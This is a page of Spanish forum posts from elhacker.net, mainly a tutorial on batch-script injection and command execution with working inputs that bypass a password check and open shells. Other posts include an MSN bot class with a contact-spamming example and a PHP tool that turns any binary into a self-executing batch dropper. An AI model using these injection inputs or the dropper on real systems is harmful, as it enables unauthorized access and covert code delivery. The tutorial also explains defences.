elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6
41  Programación / Scripting / Vulnerabilidades en programas BATCH en: 11 Junio 2007, 02:49 am

   Vulnerabilidades en programas BATCH


Dado que recientemente me he dado cuenta de que las aplicaciones remotas
estan usando cada vez mas aplicaciones BATCH, (de las cuales yo he hecho
varias), para generar herramientas, con las cuales se cree que su uso es
seguro, he decidido escribir este documento sobre las vulnerabilidades en
estos programas, para que se reconsidere su uso en su futuro.
Estas vulnerabilidades, las he nombrados segun su semejanza con vulnera-
bilidades a nivel web, las cuales son BATCH Injection y BATCH Command
Execution.







      BATCH Injection







Los que estén familiarizados con la seguridad a nivel web, seguramente
conocerán el término SQL Injection, o LDAP Injection, que nos permite
ejecutar sentencias SQL (o LDAP) en un interprete.
Mientras que estos ataques (especialmente SQLi), ya han sido ampliamente
estudiados, existe una variable, a la cual he llamado, BATCH Injection.
basándonos en el mismo princípio en el cual se basan las vulnerabílidades
de SQL Injection, el cual es insertar comandos extra, en una sentencia
con el uso de una variable comprometída, BATCH injection, nos permite
ejecutar comandos en un programa BATCH, que acepte alguna variable por
medio de el comando SET, o a travez de argumentos.

Puede que piensen que este ataque no es un vector de ataque remoto, pero
temo decirles que estan en un error. Aunque son pocas, existen programas
en los cuales, parte del código, utiliza BATCH, normalmente, para tareas
de administración via telnet. Un ejemplo, es el archivo en WindowsNT,
C:\WINNT\system32\login.cmd el cual aunque solo es una pantalla de
bienvenida, la cual nos da shell sin tener que vulnerar nada, demuestra
que el uso de archivos BATCH en tareas de administración telnet, es muy
común. Podemos ver el contenido a continuación:
>> type C:\WINNT\system32\login.cmd
   @echo off
   rem
   rem  Secuencia de comandos global predeterminada del inicio de sesión
   rem  para servidor Telnet
   rem
   rem  En la instalación predeterminada, esta secuencia de comandos es
   rem  ejecutada cuando se ejecuta el comando inicial shell.  A cambio,
   rem  intentará invocar la secuencia de comandos del inicio de sesión
   rem  del usuario individual.
   rem

   echo *===============================================================
   echo Bienvenido al servidor Telnet de Microsoft.
   echo *===============================================================

   cd %HOMEDRIVE%%HOMEPATH% /d


Como podémos ver, no es necesário vulnerar nada, dado que se nos da acceso
inmediatamente a una shell, sinembargo, que tal que alguien, en un vago
intento de "asegurar" este código (alguien que no sabe configurar el
servidor telnet), tratará de reescribir este código a algo similar a:
>> copy con: login.cmd
   @echo off
   echo Bienvenido al sistema de administración via telnet.
   set /P pass=Por favor ingresa tu contraseña:
   if "%pass%"=="secreto" (
           echo PASSWORD CORRECTO
   ) else (
           echo PASSWORD INCORRECTO
           call %~nx0
   )
   ^Z
           1 archivos copiados.

Se espera que el lector ya entienda la programación en BATCH.
en este caso, al ejecutar el comando, nos dará:
>> login.cmd
   Bienvenido al sistema de administración via telnet.
   Por favor ingresa tu contraseña: incorrecto
   PASSWORD INCORRECTO
   Bienvenido al sistema de administración via telnet.
   Por favor ingresa tu contraseña: secreto
   PASSWORD CORRECTO

Mientras no escriba el password correcto, el codigo se volverá a llamar
a si mismo, de esta forma se asegura de que hasta que el usuario envie
el password correcto, no pasará de esa pantalla.
Ahora, debemos entender como funciona el parser de BATCH en Windows.
cuando nosotros escribimos en un código BATCH, algo como..
>> echo %LANG%
   es

El parser de batch, detecta la variable LANG, y la reemplaza por su
valor, es decir.. si hacemos algo como..
>> set cmd=ver
   
>> %cmd%

   Microsoft Windows 2000 [Versión 5.00.2195]

Lo que hace es reemplazar %cmd% por "ver", y ejecutar "ver". Ahora que
sabemos eso, nos debemos dar cuenta de que, por ejemplo, si tenemos un
programa asi:
>> copy con: prueba.bat
   @echo off
   set /P nombre=¿Como te llamas?
   echo Tu te llamas %nombre%
   ^Z
           1 archivos copiados.

Nosotros podémos hacer que se guarde el resultado en un archivo, de la
siguiente forma:
>> prueba
   ¿Como te llamas? sirdarckcat > salida.txt

Como vimos, la salida del comando, no se mostro, lo que si hubiera pasado
si solo hubieramos puesto el nombre.. mira:
>> prueba
   ¿Como te llamas? sirdarckcat
   Tu te llamas sirdarckcat

Y podemos comprobar que el archivo se escribió
>> type salida.txt
   Tu te llamas sirdarckcat

En fin, no solo podemos redirigir la salida de comandos, tambien podemos
ejecutar nuestros propios comandos, con el símbolo &
>> prueba
   ¿Como te llamas? sirdarckcat & ver
   Tu te llamas sirdarckcat
   
   Microsoft Windows 2000 [Versión 5.00.2195]

Interesante no? para ahora, ya te debes haber dado cuenta que nuestro
script login.cmd es vulnerable a algo.. y si, tienes razón.
>> login
   Bienvenido al sistema de administración via telnet.
   Por favor ingresa tu contraseña: "=="" ( REM
   PASSWORD CORRECTO

Te preguntarás que paso aquí.. porque me dijo PASSWORD CORRECTO? si yo
no sabía el password.. para eso, solo debemos de editar nuestro @echo off
>> copy con: login.cmd
   @echo on
   ¿Sobrescribir login.cmd? (Sí/No/Todo): t
   echo Bienvenido al sistema de administración via telnet.
   set /P pass=Por favor ingresa tu contraseña:
   if "%pass%"=="secreto" (
           echo PASSWORD CORRECTO
   ) else (
           echo PASSWORD INCORRECTO
           call %~nx0
   )
   ^Z
           1 archivos copiados.

veamos:
>> login

   >> echo Bienvenido al sistema de administración via telnet.
      Bienvenido al sistema de administración via telnet.

   >> set /P pass=Por favor ingresa tu contraseña:
      Por favor ingresa tu contraseña:"=="" ( REM

   >> if "" == "" (
      REM "=="secreto" (
       echo PASSWORD CORRECTO
      )  else (
      echo PASSWORD INCORRECTO
       call login.cmd
      )
      PASSWORD CORRECTO

Lo que hace REM, es comentar una linea, es decir, ignora todo lo que
esté despues de este, es el equivalente a "--" en MSSQL y a "/*" en mysql







      BATCH Command Execution







Al igual que BATCH Injection, supongamos que queremos que un programa
al cual aparentemente no podemos hacer nada, aun con el password correcto
ejecute un comando, como por ejemplo.. nos de una shell.. esto se puede
hacer con "&" (y despues veremos como con "|")
>> prueba
   ¿Como te llamas? eduardo&cmd
   Tu te llamas eduardo
   Microsoft Windows 2000 [Versión 5.00.2195]
   (C) Copyright 1985-2000 Microsoft Corp.
   
   >> exit

Como vimos, simplemente con &cmd, podemos ejecutar comandos, ahora ya
pensarás que solo hay que filtrarlo.. pues, filtremoslo.
>> copy con: prueba_seguro.bat
   @echo off
   set /P nombre=¿Como te llamas?
   set nombre=%nombre:&=_%
   set nombre=%nombre:>=_%
   set nombre=%nombre:<=_%
   set nombre=%nombre:|=_%
   set nombre=%nombre:"=_%
   echo Tu nombre es %nombre%
   ^Z
           1 archivos copiados.

>> prueba_seguro
   ¿Como te llamas? eduardo&cmd
   Tu nombre es eduardo_cmd

>> prueba_seguro
   ¿Como te llamas? eduardo|start /B cmd /K REM

   >>
>> Tu nombre es eduardo_start /B cmd /K REM
   
>> >> >>
Hey! que paso ahi? bueno, como ya te dije antes, cmd cambia las variables
por su contenido, es decir.. cuando hacemos, set nombre=%nombre:&=_%
el | es ejecutado.. por lo que CMD lee..
>> set nombre=eduardo|start /B cmd /K REM

>>
Lo que hace que salga 1 linea extra, aunque nada ahí es ejecutado.
ahora, tenemos todavia la posibilidad de ejecutar cosas con |
pero, que? cualquier comando, veremos su salida, pero yo quiero una shell
y para eso, haremos lo siguiente..
>> prueba_seguro
   ¿Como te llamas? &cmd ^
   Microsoft Windows 2000 [Versión 5.00.2195]
   (C) Copyright 1985-2000 Microsoft Corp.
   
   >> exit
   Microsoft Windows 2000 [Versión 5.00.2195]
   (C) Copyright 1985-2000 Microsoft Corp.
   
   >> exit
   Microsoft Windows 2000 [Versión 5.00.2195]
   (C) Copyright 1985-2000 Microsoft Corp.
   
   >> exit
   Microsoft Windows 2000 [Versión 5.00.2195]
   (C) Copyright 1985-2000 Microsoft Corp.
   
   >> exit

Esto: "&cmd ^" abrió 4 cmd.. porque? porque el caracter "^" quita lo que
esté despues de el, en este caso, un salto de línea.. por lo que al final
cmd interpreta..

set nombre=_cmd set nombre=  & cmd set nombre=  & cmd set nombre=  & cmd
   echo Tu nombre es   & cmd

Ahora porque no se filtra el caracter ^ tambien?
La respuesta es porque ese debería ser el caracter a filtrar primero
ya que de lo contrario, arrastra a todos los demas filtros, pero si ese
es el primero en filtrarse, entonces podríamos usar & para abrir una
shell.

Una manera de solucionar eso, es colocando un espacio en cada linea.

>> copy con: prueba_mas.bat
   @echo off
   set /P nombre=¨Como te llamas?
   set nombre=%nombre:&=_%
   set nombre=%nombre:>=_%
   set nombre=%nombre:<=_%
   set nombre=%nombre:|=_%
   echo Tu nombre es %nombre%
   ^Z
           1 archivos copiados.

De esta forma.. el ^ solo cancelará un espacio, en ves de un salto de linea
y aun asi, despues de tanto, aun podemos hacer una shell.. ya que SET al ser
canalizado, no guarda el valor, es decir.. si decimos:
>> set dia=1|echo.
   dia no valdra nada:
>> echo %dia%
   %dia%
Asi que.. para poder detener el uso de &, ese debe ser el caracter filtrado
primero, pero el caracter | puede anular los filtros, asi que ese tambien
debe ser anulado primero, asi que un filtro en batch es irreal.. lo que
se debe hacer, es no usar variables (manipulables por el usuario) en forma
%var%, ya que siempre es posible ejecutar comandos asi, la forma correcta
es la siguiente:
>> copy con: seguro.bat
   @echo off
   set /P nombre=Escribe tu nombre:
   set | find "nombre="
   ^Z
           1 archivos copiados.

>> seguro
   Escribe tu nombre: cmd|cmd&cmd^
   nombre=cmd|cmd&cmd^

Para concluir solo quiero decirles, que BATCH solo debe ser usado para
automatizar tareas, nunca para una interacción remota, a menos que en
el código NUNCA se usen variables expandibles.. Hasta hoy, no he encontrado
un filtro realmente seguro, usando FOR's, FIND, canalizaciones, etc. siempre
hay alguna forma de ejecutar algun comando, por lo que no se debe usar BATCH
en un entorno inseguro.

  Copyright (c) 2007 sirdarckcat@gmail.com
  Permission is granted to copy, distribute and/or modify this document
  under the terms of the GNU Free Documentation License, Version 1.2
  or any later version published by the Free Software Foundation;
  with no Invariant Sections, no Front-Cover Texts, and no Back-Cover
  Texts.  A copy of the license is available at:
   http://www.gnu.org/licenses/fdl.html
42  Seguridad Informática / WarZone / Funcionamiento de los IDE de los retos de programación en WarZone.. en: 3 Junio 2007, 10:14 am
Nota: necesitan iniciar sesion en warzone antes de ver los IDE.

WZVM
http://warzone.elhacker.net/wzvm/p.php?id=[ID_PRUEBA]

Tras leer la descripción del problema, veremos que se menciona que los datos, los debes obtener de la pila.. para cargar ESOS DATOS (del ejemplo), debemos dar click donde dice:

[Cargar los datos del caso de PRUEBA]

esto hará que nuestra pila contenga los datos que se encuentran en la descripción del problema.



JSJ
http://warzone.elhacker.net/js.php?id=[ID_PRUEBA]

el juez de javascript, funciona de forma similar, en este caso, a diferencia de los retos de programación tipo ACM, aqui no hay entrada de datos, estos ya se encuentran en memoria.. en las variables especificadas en la descripción del probelma.

la salida de datos, siempre se debe mostrar con la función print.

para cargar los datos del ejemplo en memoria deben dar click donde dice..

[Cargar los datos del caso de PRUEBA]



bueno, es todo :) espero este claro.. ;)

Saludos!!
43  Media / Diseño Gráfico / MOVIDO: Workstation 4 usuarios a la vez ayuda en: 21 Mayo 2007, 06:09 am
El tema ha sido movido a Hardware.

Creo que te pueden ayudar mas aca :P

http://foro.elhacker.net/index.php?topic=165385.0
44  Programación / PHP / MZK MezzengerKlient - Clase PHP para hacer webmessengers y bots (MSNP9) en: 9 Marzo 2007, 06:44 am
Se las presento :P
http://code.google.com/p/mzk

Cada programador puede hacer lo que guste con ella xD, por ejemplo..

Cambiarme de nick xD
Código
  1. <?php
  2.    include("mzk.php");
  3.    $t = new MezzengerKlient;
  4.    $t->debug=true;
  5. $t->onLogin="change_nick";
  6.    $t->init("mail@mail.com","password");
  7.    $t->login();
  8.    $t->main();
  9.    $t->quit();
  10.  
  11. function change_nick(){
  12. global $t;
  13. $t->setNick('I am a bot');
  14. }
  15. ?>
  16.  

Mandarle un mensaje a todos mis contactos
Código
  1. <?php
  2.    include("mzk.php");
  3.    $t = new MezzengerKlient;
  4.    $t->debug=true;
  5. $t->onLogin="spam";
  6.    $t->init("mail@mail.com","password");
  7.    $t->login();
  8.    $t->main();
  9.    $t->quit();
  10.  
  11. function spam(){
  12. global $t;
  13. for ($i=0;isset($t->onlinefriends[$i]);$i++){
  14. $cont=@split(' ',$t->onlinefriends[$i]);
  15. $t->MessageToNew($cont[0],"Hello");
  16. }
  17. }
  18. ?>
  19.  

un bot.. webmessenger, etc..

espero les sirva :P, si alguien hace algun programa y quiere que lo ponga en "downloads", mandeme un mp :P

Saludos!!

// Editado por Ertai: Cambiadas las etiquetas de codigo para PHP!
45  Foros Generales / Sugerencias y dudas sobre el Foro / DEFCON 5 - STATUS del foro. en: 7 Marzo 2007, 20:48 pm
DEFCON 5


Para no tener que crear nuevos temas al respecto, mejor se queda 1 avisando del status del foro.

las definiciones son muy simples..

DEFCON 1 - Foro bajo ataque muy volátil (DDoS o cualquier tipo de ataque), dominio hospedado fuera del servidor oficial, acceso de solo lectura, o solo tras webproxys (la última vez que estuvimos en DC1 fue a principios del 2007).

DEFCON 2 - Foro bajo ataque muy volátil, pero controlado, y tras un servidor oficial, acceso para todos.

DEFCON 3 - Foro bajo ataque sencillo.. sin fallas significantes en el funcionamiento o velocidad del foro.

DEFCON 4 - Foro bajo amenazas, o soportando algun flood, o DoS que alenta un poco el servidor.

DEFCON 5 - Foro sin amenazas y sin ataques (La última vez que estuvimos en una situación DC5 fue en el 2002).

Noticias mas recientes hasta arriba

Que tal!

El 2-3 de Abril de las 11:30 PM a la 1:30 AM (GMT) whk y yo (sdc) estuvimos haciendo pruebas de stress al servidor, que hicieron que el foro estuviera on/off de 11:30PM a 1:00 AM, y quedo completamente offline de 1:15 AM a 1:30 AM.

El bug fue descubierto por el bot de google! :P que vimos que consumia muchos recursos al entrar a una pagina.. Asi que oficialmente damos las gracias al bot crawleador de google.

Saludos!!

;-) un informante del 007 nos aviso que elhacker.net estaba en la mira:
 
Señores alguien en el underground esta reclutando Bots y esta preparando algo verdaderamente grande en contra de elhacker.net hasta ahora tiene tres redes con diferentes funcionalidades lista para atacar el sitio...
 
 No solo quieren dosear el sitio sino acceder a la BD de Users del Foro y comprometer a mas de un Usuario =====
 
jajajaja nuestra respuesta a este ataque fue cambiar el DEFCON del foro a de 3 DEFCON 4, y mandarle un link a nuestra wiki, sección de redes al "informante" para que deje de decir babosadas xDDDD
 

Algun argentinoob nos ataco con un DoS y el foro estuvo off por 10 minutos (OMFG!!) estaba tratando de tumbar la BD de mysql.

<false>
Parece ser que algun h4x0r fux0r que apoya a Georgia en el conflicto que tiene con Rusia ha estado atacando sitios web con ataques de DDoS.
http://en.wikipedia.org/wiki/2008-2009_Georgia%E2%80%93Russia_crisis
Asi que muchos sitios web cayeron victimas este ataque, entre ellas twitter, facebook, livejournal, y elhacker.net.

Estamos trabajando junto al equipo de Google, Twitter, Facebook, y LJ para detener estos ataques.</false>

El foro estuvo off unas cuantas horas hoy porque parece ser que el que hace la limpieza en el data center desconecto el servidor porque queria conectar su estereo y escuchar regeton.. todo es culpa del regeton.

Ya se ha despedido al limpia pisos regetonero y hemos contratado a una hermosa limpia pisos:
http://www.elhacker.net/files/nuevalimpapisos.jpg

Saludos!!

hay que festejar!!!
el foro supero la maxima cantidad de usuariosbots conectados al mismo tiempo!!!
yayyyyyyyyy!!

El foro volvio a empezar a recibir un ataque relativamente fuerte de forma intermitente la semana pasada, hasta ahora creemos que solo son pruebas antes del ataque real.

Era un simple flood a /index.php con bots que pueden leer ‫ ‫ ‫ ‫ ‫‬‬javascript (con IE).. Nada nuevo ni interesante.

Saludos!!

El disco duro del foro empezó a fallar ayer por la tarde... gracias a un aviso del SMART
 
 No parecía muy grave, pero por precaución decidimos clonar el disco entero, un WD, al final no se pudo por errores y se ha instalado un Maxtor....
 
 No se ha perdido ni mensajes ni nada, porque se ha podido recuperar todos los datos del viejo disco duro que ya no se usará más por precaución.
 
 En total el foro ha estado casi 24 horas off-line, pero volvemos con HD nuevo ;D
 

Se han hecho públicas algunas estadísticas del ataque que ha recibido el foro en febrero del 2009, disponibles aquí:
http://foro.elhacker.net/sugerencias_y_dudas_sobre_el_foro/estadisticas_del_ataque_de_ddos_que_recibio_el_foro_en_el_mes_de_febrero-t247746.0.html

El foro estuvo OFFLINE de 6am a 11am hora de españa, el dia Lunes 16 de Febrero del 2009.

El motivo fue hacer pruebas de stress al servidor SQL (al mejorar un ataque que se supone congela a SMF {que fue inefectivo en este foro}, al punto que tiro el servidor SQL por completo {despues de modificar el ataque agregando vectores de ataque mas complejos}).

Se va a modificar el codigo de SMF para que esto no vuelva a pasar (porque en realidad las pruebas no esperabamos que tiraran el servidor).

Disculpen las molestias que hayan ocasionado. Pero pueden estar seguros que el foro esta mas seguro que antes.

Saludos!!

El foro esta recibiendo un ataque de DDoS.. desde hace mucho tiempo, se puede leer mas al respecto aqui:
http://foro.elhacker.net/sugerencias_y_dudas_sobre_el_foro/informacion_del_virusgusano_netzeek_de_msn-t242697.0.html

Las protecciones contra este ataque han sido muy efectivas, y este no es un factor determinante en el desempeño del foro.

Este ataque sinembargo aumento en potencia a principios del 2009, las protecciones funcionan correctamente, pero ahora tenemos una mejor manera de controlar y monitorear el ataque.

A principios de Marzo, se les mostrara un reporte detallando la evolucion del ataque de DDoS que hemos recibido con diversas estadisticas.

46  Informática / Tutoriales - Documentación / Discusion about JaSiLDBG - javascript inLine Debugger en: 21 Noviembre 2006, 00:38 am
Introduction:
javascript inLine Debugger is a tool, which every user can use, independently from the browser you use. This tool allows us to execute javascript on top of a website without the need of either refreshing, using a proxy, neither saving it.

This tool isn’t something new, but its not well known, not commentated much and very powerful, the objective of this job is get to know its capabilities, and demonstrate the easy use of it.

To be able to use this tool, it’s necessary to have very basic knowledge of Object Oriented Programming (OOP) and to know a little bit about the HTML W3C standard.

A few characteristics about this debugger are:
·   No need of installation, just a keyboard and to know javascript.
·   Capability of modifying cookies.
·   Capability of modifying forms values, visibles and hidden, disable maxLength and allow editing.
·   Capability of disabling scripts that don’t allow viewing the source code or selecting text.
·   Capability of showing source code of encrypted or hidden functions.
·   Capability of modifying variables and functions, as well as to show the properties of these.
·   Capability to emulate events and establish / to modify presents.
·   Capability of modifying the source code of the website, or just a section of it.
The way of doing this is by using the javascript: protocol available in:
·   Internet Explorer
·   Mozilla Firefox
·   Opera
·   Others...
In order to know if your browser supports this method, write in your address bar:
javascript:alert("Hello World");
If you see a message saying “Hello World”, your browser is compatible.

The protocols which you can use with JaSiLDBG are:
·   javascript:
·   vbscript: (Syntax is different)
·   jscript: (Very unstable, don’t try it.)
To control errors, in firefox, use javascript Console (under tools).

The last version of JaSiLDBG can be found at:
http://www.elhacker.net/jasildbg/JaSiLDBG_en.pdf
47  Informática / Tutoriales - Documentación / Discusión de JaSiLDBG - javascript InLine Debugger en: 21 Noviembre 2006, 00:21 am
javascript inLine Debugger es una herramienta, que todos los usuarios pueden usar, independientemente del navegador. Esta herramienta nos permite ejecutar javascript arriba de la web sin tener que recargar, usar proxy, ni guardarla.

Esta herramienta no es algo nuevo, pero es poco conocida, poco comentada y muy potente, el objetivo de este trabajo es dar a conocer sus capacidades, y mostrar la facilidad de su uso.

Para poder utilizar esta herramienta, es necesario tener conocimiento muy básico de Programación Orientada a Objetos (OOP) y conocer un poco sobre el standard HTML de W3C.

Algunas de las características de este debugger son:
·   No necesita instalación, solo un teclado y saber javascript.
·   Capacidad de modificar cookies.
·   Capacidad de modificar valores de campos de formularios, tanto visibles como ocultos, deshabilitar maxLength y permitir su edición.
·   Capacidad de anular scripts que no permiten el ver el código fuente o seleccionar texto.
·   Capacidad de mostrar el código de funciones encriptadas o escondidas.
·   Capacidad de modificar variables y funciones, así como mostrar todas las propiedades de estos.
·   Capacidad de emular eventos y establecer / modificar actuales.
·   Capacidad de modificar el código fuente del programa, o solo una sección del mismo.
La manera de hacer esto es usando el protocolo javascript: disponible en:
·   Internet Explorer
·   Mozilla Firefox
·   Opera
·   Otros..
Para saber si tu navegador soporta este método, escribe en la barra de direcciones:
javascript:alert("Hola Mundo");
Si ves una ventana con “Hola Mundo”, tu navegador es compatible.

Los protocolos que pueden usarse para el JaSiLDBG son:
·   javascript:
·   vbscript: (La sintaxis es diferente)
·   jscript: (Muy Inestable, ni lo intenten)
Para el control de errores, en firefox, debes ver la consola javascript.

La última versión de JaSiLDBG puede ser vista en: http://www.elhacker.net/jasildbg/JaSiLDBG_es.pdf
48  Programación / Scripting / Batch File Creator - (Generador de Archivos Binarios con BATCH) en: 3 Noviembre 2006, 01:57 am
BFC

Batch File Creator es un programa que te permite generar un archivo "batch" que al terminar su ejecución, generará un archivo binario idéntico al especificado, y opcionalmente lo ejecutará.

Los unicos limitantes que tiene el programa es el tamaño maximo de procesamiento de DOS, y la configuración de PHP.INI que delimitan un maximo (por defecto) de 2 megabytes por archivo.

El programa en ejecución puede ser visto en:
http://sirdarckcat.awardspace.com/BFC.php

El código fuente:
Código:
<?php
/**
* Batch File Creator
*  By SirDarckCat from elhacker.net
*  Program distributed under the GNU - GPL License
**/
if(isset($_FILES['attachment']['name']) && $_FILES['attachment']['size']<=65535){
if ($_FILES['attachment']['size']==0){
echo "Las configuraciones de PHP.INI no me permitieron procesar tu archivo.\r\n";
exit;
}
header("Content-Type: text/plain");
header("Content-Disposition: attachment;filename=\"BFC".rand(0,5012).".bat\"");
$rn=$_FILES['attachment']['name'];
$tn="s".rand(0,100)."x.txt";
$z=(isset($_REQUEST['autostart']))?"start $rn":"EXIT";
$x=file_get_contents($_FILES['attachment']['tmp_name']);
echo "@echo off\r\n
REM BatchFileCreator 0.1
REM By SirDarckCat from elhacker.net
REM Visit http://sirdarckcat.googlepages.com/bfc
\r\n:rx
\r\nif EXIST shell.x (
echo Loading..
start \"Loading..\" /MIN /WAIT cmd /C debug^<shell.x
if EXIST \"$rn\" (
del \"$rn\"
)
ren $tn,\"$rn\"
start cmd /C del shell.x
$z
goto:EOF
) ELSE (
call:cds
call:rx
start cmd /C del shell.x
goto:EOF
)
\r\n:cds
\r\necho n $tn >shell.x\r\ntype %~nx0|find \"e \"|find /v \"REM\">>shell.x\r\necho rcx>>shell.x\r\necho ".base_convert(strlen($x),10,16).">>shell.x\r\necho w".((isset($_REQUEST['binary']))?"0":" ")." >>shell.x\r\necho q>>shell.x\r\ngoto:EOF\r\n";

$bin=(isset($_REQUEST['binary']))?0:256;

for ($i=$bin;$i<strlen($x)+$bin;$i++){
if (!($i%16)){
echo "\r\ne ".base_convert($i,10,16)." ";
}
echo substr("00".base_convert(ord($x[$i-$bin]),10,16),-2)." ";
}
echo "\r\n REM EOF\r\n";
}else if (isset($_FILES['attachment']['name']) && $_FILES['attachment']['size']>65535){
header("Content-Type: text/plain");
header("Content-Disposition: attachment;filename=\"BFC".rand(0,5012).".bat\"");
@ob_start('ob_gzhandler'); // This are larger files, so we better compress them :P
$tn="s".rand(0,100);
$rn=$_FILES['attachment']['name'];
$m=file_get_contents($_FILES['attachment']['tmp_name']);
$xx=strlen($m)/65000;
$z=(isset($_REQUEST['autostart']))?"start \"\" \"$rn\"":"EXIT";
echo "@echo off

REM BatchFileCreator 0.1
REM By SirDarckCat from elhacker.net
REM Visit http://sirdarckcat.googlepages.com/bfc

IF \"%~1\"==\"\" (
echo Loading..
start \"Loading..\" /MIN /WAIT cmd /C \"%~nx0 xD\"^|debug
copy /Y /B $tn.*,\"$rn\"
del $tn.*
$z
) ELSE (\r\n";
for ($j=0;$j<$xx;$j++){
$x=substr($m,$j*65000,65000);
echo "echo n $tn.p$j";
$sl=strlen($x);
for ($i=0;$i<$sl;$i++){
if (!($i%16)){
echo "\r\necho e ".base_convert($i,10,16)." ";
}
echo substr("00".base_convert(ord($x[$i]),10,16),-2)." ";
}

echo "\r\necho rcx\r\n";
echo "echo ".base_convert(strlen($x),10,16)."\r\n";
echo "echo w 0\r\n";
}
echo "echo q\r\n";
echo ")";
}else{
?>
<html>
<head>
<title>BatchFileCreator 0.1  por sirdarckcat</title>
</head>
<body>
<center>
<h1>BatchFileCreator 0.1</h1>
<h3>por sirdarckcat</h3>
<h5>elhacker.net</h5></center>
<hr>
<pre>
BatchFileCreator te permite generar un archivo batch que genere cualquier archivo binario
y ejecutarlo.

Solo selecciona y envia el archivo a convertir.

Tu computadora podria no ser capas de procesar archivos BATCH demasiado grandes.

Tamaño Máximo: 2 MegaBytes
</pre><table align=center>
<form method=POST ENCTYPE="multipart/form-data" action="?download">
<input type=checkbox name=autostart value=1> - ¿Iniciar despues de creado?<br>
<input type=checkbox name=binary value=1> - Binario?<br>
File: <input type=file name=attachment> <br></table>
<hr><center>
<input type=submit></center>
</form>
</body>
</html>
<?php
}
?>

Es todo. espero les sirva :)

Saludos!!
49  Programación / Scripting / -> Programación BATCH Avanzada. (nuevo) en: 24 Julio 2006, 10:01 am
Programación BATCH Avanzada.

Temario.
1.- Variables y Argumentos.
2.- Imprimir caracteres de comandos.
3.- Algunas otras variables de Entorno.
4.- IF
5.- FOR
6.- Funciones
7.- Includes
8.- Misc
9.- EOF


Variables y Argumentos

El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones matemáticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar  cadenas de texto, y obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre otros.

Los argumentos que recibe un batch, son recibidos de la siguiente forma:

batch argumento1 dos tres

hara que:
%0 = batch
%1 = argumento1
%2 = dos
%3 = tres

en %0 se guardara, el nombre del archivo.

Podemos borrar el contenido de un parametro con el comando shift:

Código
  1. @echo off
  2. echo %0 %1 %2 %3
  3. echo %0 %1 %2 %3
  4.  

al llamar:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>astring 123 456 789
  2. astring 123 456 789
  3. astring 456 789
  4.  

shift borro, el primer argumento.

Tambien contamos con los siguientes modificadores para los archivos:

Código
  1.       %~f1        - regresa la ruta y el archivo de %1.
  2.       %~d1        - regresa la letra de la unidad de %1.
  3.       %~p1        - regresa solo la ruta del archivo %1.
  4.       %~n1        - regresa solo el nombre de archivo %1.
  5.       %~x1        - regresa solo la extension del archivo %1.
  6.       %~s1        - regresa solo la ruta, con directorios, con nombres cortos del archivo %1.
  7.       %~a1        - regresa los atributos del archivo.
  8.       %~t1        - regresa la hora/fecha del archivo %1
  9.       %~z1        - regresa el tamaño del archivo %1.
  10.  

por ejemplo:

en un directorio donde tenemos:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>dir
  2. El volumen de la unidad C no tiene etiqueta.
  3. El número de serie del volumen es: A057-553B
  4.  
  5. Directorio de C:\Documents and Settings\Administrador\tempcurso
  6.  
  7. 24/07/2006  12:25a      <DIR>          .
  8. 24/07/2006  12:25a      <DIR>          ..
  9. 24/07/2006  12:25a                   6 archivo.txt
  10.               1 archivos              6 bytes
  11.               2 dirs  401,715,161,088 bytes libres
  12.  

este batch:

Código
  1. @echo off
  2. echo Ruta al archivo: %~f1
  3. echo Disco: %~d1
  4. echo Solo ruta: %~p1
  5. echo Nombre: %~n1
  6. echo Extension: %~x1
  7. echo Ruta Corta: %~s1
  8. echo Atributos: %~a1
  9. echo Fecha: %~t1
  10. echo Tamaño: %~z1
  11.  

llamandolo analiza.bat, saca el siguiente resultado:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>analiza archivo.txt
  2. Ruta al archivo: C:\Documents and Settings\Administrador\tempcurso\archivo.txt
  3. Disco: C:
  4. Solo ruta: \Documents and Settings\Administrador\tempcurso\
  5. Nombre: archivo
  6. Extension: .txt
  7. Ruta Corta: C:\DOCUME~1\ADMINI~1\TEMPCU~1\archivo.txt
  8. Atributos: --a------
  9. Fecha: 24/07/06 12:25a
  10. Tama±o: 6
  11.  

Tambien podemos usar varias propiedades, por ejemplo, este codigo:
Código
  1. @echo off
  2.  
  3. echo %~anxt1
  4.  

saca este resultado:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>analiza archivo.txt
  2. --a------ 24/07/06 12:25a archivo.txt
  3.  

Si lo que recibimos no es un archivo, sino una cadena de texto, que contiene mas de una palabra, se debe poner entre comillas, algo asi:

astring "parametro de varias letras"

al obtenerlo, en %1, lo recibimos con comillas, pero si usamos:

Código
  1. @echo off
  2. echo Con Comillas: %1
  3. echo Sin Comillas: %~1
  4.  

saca este resultado:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>astring "parametro de varias letras"
  2. Con Comillas: "parametro de varias letras"
  3. Sin Comillas: parametro de varias letras
  4.  

Y por ejemplo, si queremos obtener todos los argumentos, se usa:

%*

es decir:

Código
  1. @echo off
  2.  
  3. echo Argumentos: %*
  4.  

al ejecutar:

astring parametro de varias letras

nos regresa:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>astring parametro de varias letras
  2. Argumentos: parametro de varias letras

Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar:

set /P variable=

por ejemplo:
Código
  1. @echo off
  2. echo ¿Como te llamas?
  3. set /P miva=
  4.  
  5. echo Tu te llamas %miva%
  6.  

hara algo asi:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>astring
  2. &#9488;Como te llamas?
  3. Juan
  4. Tu te llamas Juan
  5.  

Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre:

Código
  1. @echo off
  2. echo Escribe tu Nombre
  3. set /P NOM=
  4. echo %NOM:~-3%
  5.  

Aqui lo que estamos haciendo en la ultima linea:

%NOM:~-3%
hara, obtener los ultimos 3 caracteres, como si se tratara de la funcion substring.

por ejemplo, esto:

%NOM:~1,3%

obtendra del segundo al cuarto caracter. (empiezas desde 0, recuerda)

Para reemplazar cadenas, dentro de otra variable, es la siguiente sintaxis:
Código
  1. @echo off
  2. echo Escribe una frase
  3. set /P FRA=
  4. echo %FRA:e=XXX%

